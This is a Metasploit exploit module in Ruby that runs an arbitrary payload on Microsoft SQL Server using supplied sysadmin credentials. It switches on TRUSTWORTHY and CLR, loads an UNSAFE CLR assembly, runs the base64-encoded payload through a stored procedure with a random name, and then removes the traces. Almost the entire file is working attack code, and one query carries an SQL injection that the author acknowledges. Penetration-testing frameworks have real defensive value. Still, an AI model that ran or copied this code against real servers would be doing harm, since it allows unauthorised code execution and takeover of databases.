##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::MSSQL

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft SQL Server Clr Stored Procedure Payload Execution',
      'Description'    => %q{
        This module executes an arbitrary native payload on a Microsoft SQL
        server by loading a custom SQL CLR Assembly into the target SQL
        installation, and calling it directly with a base64-encoded payload.

        The module requires working credentials in order to connect directly to the
        MSSQL Server.

        This method requires the user to have sufficient privileges to install a custom
        SQL CRL DLL, and invoke the custom stored procedure that comes with it.

        This exploit does not leave any binaries on disk.

        Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64).
      },
      'Author'         =>
        [
          'Lee Christensen',  # original idea/research
          'Nathan Kirk',      # extra research/blog post
          'OJ Reeves'         # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/']
        ],
      'Platform'       => 'win',
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Targets'        => [['Automatic', {}]],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jan 01 1999'
    ))

    register_options(
      [
        OptString.new('DATABASE', [true, 'The database to load the CLR Assembly into.', 'master'])
      ])
  end

  def check
    unless mssql_login_datastore(datastore['DATABASE'])
      vprint_status('Invalid SQL Server credentials')
      return Exploit::CheckCode::Detected
    end

    version = get_sql_version_string

    unless version =~ /Server 20(05|08|12|14|16)/
      vprint_status('Unsupported version of SQL Server')
      return Exploit::CheckCode::Safe
    end

    if mssql_is_sysadmin
      vprint_good "User #{datastore['USERNAME']} is a sysadmin"
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  ensure
    disconnect
  end

  def get_sql_version_string
    mssql_query("select @@version", false)[:rows].first[0]
  end

  def get_sql_architecture(sql_version_string)
    if sql_version_string =~ /(64-bit|x64)/i
      ARCH_X64
    else
      ARCH_X86
    end
  end

  def get_exploit_version(sql_version_string)
    # keeping it simple at this point.
    if sql_version_string =~ /Server (2005|2008|2012)/
      'v3.5'
    else
      # assume 2014/2016 at this point.
      'v4.0'
    end
  end

  def set_trustworthy(on)
    result = mssql_query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false)
    unless result[:errors].empty?
      result[:errors].each do |err|
        vprint_error(err)
      end
      fail_with(Failure::Unknown, "Failed to change Trustworthy setting")
    end
  end

  def is_trustworthy
    # SQLi in MSF!! OMG!
    result = mssql_query("SELECT CASE is_trustworthy_on WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.databases WHERE name ='#{datastore['DATABASE']}'", false)
    result[:rows][0] == 'ON'
  end

  def enable_clr(enable)
    query = %Q^
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'clr enabled', #{enable ? 1 : 0};
RECONFIGURE;
    ^
    result = mssql_query(query, false)
    unless result[:errors].empty?
      result[:errors].each do |err|
        vprint_error(err)
      end
      fail_with(Failure::Unknown, "Failed to change CLR setting")
    end
  end

  def is_clr_enabled
    result = mssql_query("SELECT CASE value WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.configurations WHERE name = 'clr enabled'", false)
    result[:rows][0] == 'ON'
  end

  def exploit
    unless mssql_login_datastore(datastore['DATABASE'])
      fail_with(Failure::BadConfig, 'Unable to login with the given credentials')
    end

    unless mssql_is_sysadmin
      fail_with(Failure::BadConfig, 'Specified user lacks sufficient permissions')
    end

    # This module will only support 'thread' for EXITFUNC
    # Bad things happen to SQL otherwise!
    unless datastore['EXITFUNC'] == 'thread'
      print_warning("Setting EXITFUNC to 'thread' so we don't kill SQL Server")
      datastore['EXITFUNC'] = 'thread'
    end

    sql_version = get_sql_version_string
    vprint_status("Target SQL Version is:\n#{sql_version}")

    sql_arch = get_sql_architecture(sql_version)
    unless payload.arch.first == sql_arch
      fail_with(Failure::BadConfig, "Target SQL server arch is #{sql_arch}, payload architecture is #{payload.arch.first}")
    end

    trustworthy = is_trustworthy
    clr_enabled = is_clr_enabled

    unless trustworthy
      print_status('Database does not have TRUSTWORTHY setting on, enabling ...')
      set_trustworthy(true)
    end

    unless clr_enabled
      print_status('Database does not have CLR support enabled, enabling ...')
      enable_clr(true)
    end

    exploit_version = get_exploit_version(sql_version)
    print_status("Using version #{exploit_version} of the Payload Assembly")
    exploit_file_path = ::File.join(Msf::Config.install_root, 'data',
                                    'SqlClrPayload', exploit_version, 'SqlClrPayload.dll')
    vprint_status("Using #{exploit_file_path}")

    assembly = ::File.read(exploit_file_path)

    # Convert the assembly to the required format for execution of the stored
    # procedure to create the custom stored proc
    hex_assembly = "0x#{assembly.unpack('H*')[0]}"
    asm_name = Rex::Text.rand_text_alpha(rand(4) + 8)
    query = "CREATE ASSEMBLY [#{asm_name}] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE"

    print_status('Adding custom payload assembly ...')
    mssql_query(query, false)

    proc_name = Rex::Text.rand_text_alpha(rand(4) + 8)
    param_name = Rex::Text.rand_text_alpha(rand(4) + 8)
    query = "CREATE PROCEDURE [dbo].[#{proc_name}](@#{param_name} AS NVARCHAR(MAX)) AS EXTERNAL NAME [#{asm_name}].[StoredProcedures].[ExecuteB64Payload]"

    print_status('Exposing payload execution stored procedure ...')
    mssql_query(query, false)

    # Generate the base64 encoded payload
    b64payload = Rex::Text.encode_base64(payload.encoded)
    query = "EXEC [dbo].[#{proc_name}] '#{b64payload}'"
    print_status('Executing the payload ...')
    mssql_query(query, false)

    print_status('Removing stored procedure ...')
    mssql_query("DROP PROCEDURE [dbo].[#{proc_name}]", false)

    print_status('Removing assembly ...')
    mssql_query("DROP ASSEMBLY [#{asm_name}]", false)

    unless clr_enabled
      print_status('Restoring CLR setting ...')
      enable_clr(false)
    end

    unless trustworthy
      print_status('Restoring Trustworthy setting ...')
      set_trustworthy(false)
    end

  ensure
    disconnect
  end
end
